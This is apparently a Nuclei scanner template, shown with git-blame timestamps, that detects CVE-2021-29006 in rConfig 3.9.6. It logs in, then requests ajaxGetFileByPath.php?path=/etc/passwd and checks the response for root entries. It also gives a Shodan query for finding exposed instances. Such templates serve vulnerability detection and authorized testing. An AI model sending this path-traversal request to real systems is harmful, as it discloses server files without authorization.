2023-10-17 07:20:28 +00:00
|
|
|
id: CVE-2021-29006
|
2023-10-17 17:52:26 +00:00
|
|
|
|
2023-10-17 07:20:28 +00:00
|
|
|
info:
|
|
|
|
name: rConfig 3.9.6 - Local File Inclusion
|
|
|
|
author: r3Y3r53
|
|
|
|
severity: medium
|
|
|
|
description: |
|
|
|
|
rConfig 3.9.6 is affected by a Local File Disclosure vulnerability. An authenticated user may successfully download any file on the server.
|
|
|
|
reference:
|
|
|
|
- https://github.com/mrojz/rconfig-exploit/blob/main/CVE-2021-29006-POC.py
|
|
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2021-29006
|
2023-10-17 17:52:26 +00:00
|
|
|
- http://rconfig.com
|
2023-10-17 07:20:28 +00:00
|
|
|
classification:
|
|
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
|
|
|
|
cvss-score: 6.5
|
|
|
|
cve-id: CVE-2021-29006
|
|
|
|
cwe-id: CWE-22
|
2023-10-18 16:26:30 +00:00
|
|
|
epss-score: 0.10203
|
2023-11-05 22:23:39 +00:00
|
|
|
epss-percentile: 0.9433
|
2023-10-17 17:52:26 +00:00
|
|
|
cpe: cpe:2.3:a:rconfig:rconfig:3.9.6:*:*:*:*:*:*:*
|
2023-10-17 07:20:28 +00:00
|
|
|
metadata:
|
|
|
|
verified: true
|
2023-10-17 17:52:26 +00:00
|
|
|
max-request: 3
|
|
|
|
vendor: rconfig
|
|
|
|
product: rconfig
|
2023-10-17 07:20:28 +00:00
|
|
|
shodan-query: http.title:"rConfig"
|
|
|
|
tags: cve,cve2021,rconfig,authenticated,lfi
|
|
|
|
|
|
|
|
http:
|
|
|
|
- raw:
|
|
|
|
- |
|
|
|
|
POST /lib/crud/userprocess.php HTTP/1.1
|
|
|
|
Host: {{Hostname}}
|
|
|
|
Content-Type: application/x-www-form-urlencoded
|
|
|
|
|
|
|
|
user={{username}}&pass={{password}}&sublogin=1
|
|
|
|
- |
|
|
|
|
GET /dashboard.php HTTP/1.1
|
|
|
|
Host: {{Hostname}}
|
|
|
|
- |
|
|
|
|
GET /lib/ajaxHandlers/ajaxGetFileByPath.php?path=/etc/passwd HTTP/1.1
|
|
|
|
Host: {{Hostname}}
|
|
|
|
|
|
|
|
cookie-reuse: true
|
2023-10-17 17:52:26 +00:00
|
|
|
|
2023-10-17 07:20:28 +00:00
|
|
|
matchers-condition: and
|
|
|
|
matchers:
|
|
|
|
- type: regex
|
|
|
|
part: body_3
|
|
|
|
regex:
|
|
|
|
- 'root:.*:0:0:'
|
|
|
|
|
|
|
|
- type: word
|
|
|
|
part: body_2
|
|
|
|
words:
|
|
|
|
- 'rconfig'
|
|
|
|
|
|
|
|
- type: status
|
|
|
|
part: header_3
|
|
|
|
status:
|
|
|
|
- 200
|
2023-11-06 09:19:20 +00:00
|
|
|
|
|
|
|
# digest: 4b0a004830460221008353001721824db9bebacb6a52ca6e90a34f494fd2059613a040f7c42bf060eb022100df41900f1d51ecbd238b374892382402dca97c30dc97cc0d34b2ff14c49f61b3:922c64590222798bb761d5b6d8e72950
|